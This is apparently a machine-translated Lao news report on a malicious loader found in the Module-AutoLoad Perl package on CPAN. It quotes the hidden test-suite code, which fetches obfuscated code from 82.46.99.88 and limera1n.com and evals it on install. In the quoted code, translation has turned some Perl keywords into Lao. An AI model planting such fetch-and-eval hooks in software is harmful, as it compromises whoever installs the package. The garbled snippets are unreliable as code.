ກວດພົບລະຫັດທີ່ເປັນອັນຕະລາຍຢູ່ໃນຊຸດ Module-AutoLoad Perl

ໃນຊຸດ Perl ທີ່ແຈກຢາຍຜ່ານໄດເລກະທໍລີ CPAN ໂມດູນ-ໂຫຼດອັດຕະໂນມັດ, ອອກແບບມາເພື່ອໂຫຼດໂມດູນ CPAN ໂດຍອັດຕະໂນມັດໃນເວລາບິນ, ກໍານົດ ລະຫັດອັນຕະລາຍ. ການໃສ່ຮ້າຍກາດແມ່ນ ພົບ ໃນ​ລະ​ຫັດ​ການ​ທົດ​ສອບ​ 05_rcx.t, ເຊິ່ງໄດ້ຂົນສົ່ງຕັ້ງແຕ່ປີ 2011.
ມັນເປັນທີ່ສັງເກດວ່າຄໍາຖາມກ່ຽວກັບການໂຫຼດລະຫັດຄໍາຖາມໄດ້ເກີດຂື້ນ stackoverflow ກັບໄປໃນປີ 2016.

ການເຄື່ອນໄຫວທີ່ເປັນອັນຕະລາຍເກີດຂຶ້ນກັບຄວາມພະຍາຍາມທີ່ຈະດາວໂຫຼດ ແລະປະຕິບັດລະຫັດຈາກເຊີບເວີພາກສ່ວນທີສາມ (http://r.cx:1/) ໃນລະຫວ່າງການປະຕິບັດຊຸດທົດສອບທີ່ເປີດຕົວເມື່ອຕິດຕັ້ງໂມດູນ. ມັນສົມມຸດວ່າລະຫັດທໍາອິດທີ່ດາວໂຫຼດຈາກເຄື່ອງແມ່ຂ່າຍພາຍນອກບໍ່ໄດ້ເປັນອັນຕະລາຍ, ແຕ່ໃນປັດຈຸບັນຄໍາຮ້ອງຂໍຖືກໂອນໄປຫາໂດເມນ ww.limera1n.com, ເຊິ່ງສະຫນອງສ່ວນຫນຶ່ງຂອງລະຫັດສໍາລັບການປະຕິບັດ.

ເພື່ອຈັດລະບຽບດາວໂຫຼດໃນໄຟລ໌ 05_rcx.t ລະຫັດຕໍ່ໄປນີ້ຖືກໃຊ້:

$prog ຂອງຂ້ອຍ = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
$try ຂອງຂ້ອຍ = `$^X $prog`;

ລະຫັດທີ່ລະບຸເຮັດໃຫ້ script ຖືກປະຕິບັດ ../contrib/RCX.pl, ເນື້ອໃນທີ່ຖືກຫຼຸດລົງເປັນແຖວ:

ໃຊ້ lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88":1″};

script ນີ້ໂຫລດ ສັບສົນ ການ​ນໍາ​ໃຊ້​ບໍ​ລິ​ການ​ perlobfuscator.com ລະຫັດຈາກເຈົ້າພາບພາຍນອກ r.cx (ລະຫັດຕົວອັກສອນ 82.46.99.88 ກົງກັບຂໍ້ຄວາມ "R.cX") ແລະປະຕິບັດມັນຢູ່ໃນບລັອກ eval.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88”:1″; ພິມ ;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

ຫຼັງຈາກ unpacking, ສິ່ງຕໍ່ໄປນີ້ຈະຖືກປະຕິບັດໃນທີ່ສຸດ: ລະຫັດ:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor ກັບຄືນເຕືອນ $@while$b;1

ຕອນນີ້ຊຸດທີ່ມີບັນຫາໄດ້ຖືກເອົາອອກຈາກບ່ອນເກັບມ້ຽນແລ້ວ. ຢຸດ​ຊົ່ວ​ຄາວ (ເຊີບເວີອັບໂຫລດ Perl Authors), ແລະບັນຊີຜູ້ຂຽນຂອງໂມດູນຖືກບລັອກ. ໃນກໍລະນີນີ້, ໂມດູນຍັງຄົງຢູ່ ມີ ຢູ່ໃນບ່ອນເກັບມ້ຽນ MetaCPAN ແລະສາມາດຕິດຕັ້ງໂດຍກົງຈາກ MetaCPAN ໂດຍໃຊ້ບາງປະໂຫຍດເຊັ່ນ cpanminus. ມັນໄດ້ຖືກບັນທຶກໄວ້ວ່າຊຸດດັ່ງກ່າວບໍ່ໄດ້ຖືກແຈກຢາຍຢ່າງກວ້າງຂວາງ.

ຫນ້າສົນໃຈທີ່ຈະປຶກສາຫາລື ເຊື່ອມຕໍ່ ແລະຜູ້ຂຽນຂອງໂມດູນ, ຜູ້ທີ່ປະຕິເສດຂໍ້ມູນທີ່ລະຫັດເປັນອັນຕະລາຍຖືກໃສ່ຫຼັງຈາກເວັບໄຊທ໌ "r.cx" ຂອງລາວຖືກແຮັກແລະອະທິບາຍວ່າລາວພຽງແຕ່ມີຄວາມມ່ວນ, ແລະໃຊ້ perlobfuscator.com ບໍ່ໃຫ້ປິດບັງບາງສິ່ງບາງຢ່າງ, ແຕ່ເພື່ອຫຼຸດຜ່ອນຂະຫນາດ. ຂອງລະຫັດແລະງ່າຍການຄັດລອກຂອງມັນຜ່ານ clipboard. ທາງເລືອກຂອງຊື່ຟັງຊັນ "botstrap" ຖືກອະທິບາຍໂດຍຄວາມຈິງທີ່ວ່າຄໍານີ້ "ຟັງຄື bot ແລະສັ້ນກວ່າ bootstrap." ຜູ້ຂຽນຂອງໂມດູນຍັງໄດ້ຮັບປະກັນວ່າການຫມູນໃຊ້ທີ່ຖືກກໍານົດບໍ່ໄດ້ດໍາເນີນການທີ່ເປັນອັນຕະລາຍ, ແຕ່ວ່າພຽງແຕ່ສະແດງໃຫ້ເຫັນການໂຫຼດແລະປະຕິບັດລະຫັດຜ່ານ TCP.

ແຫຼ່ງຂໍ້ມູນ: opennet.ru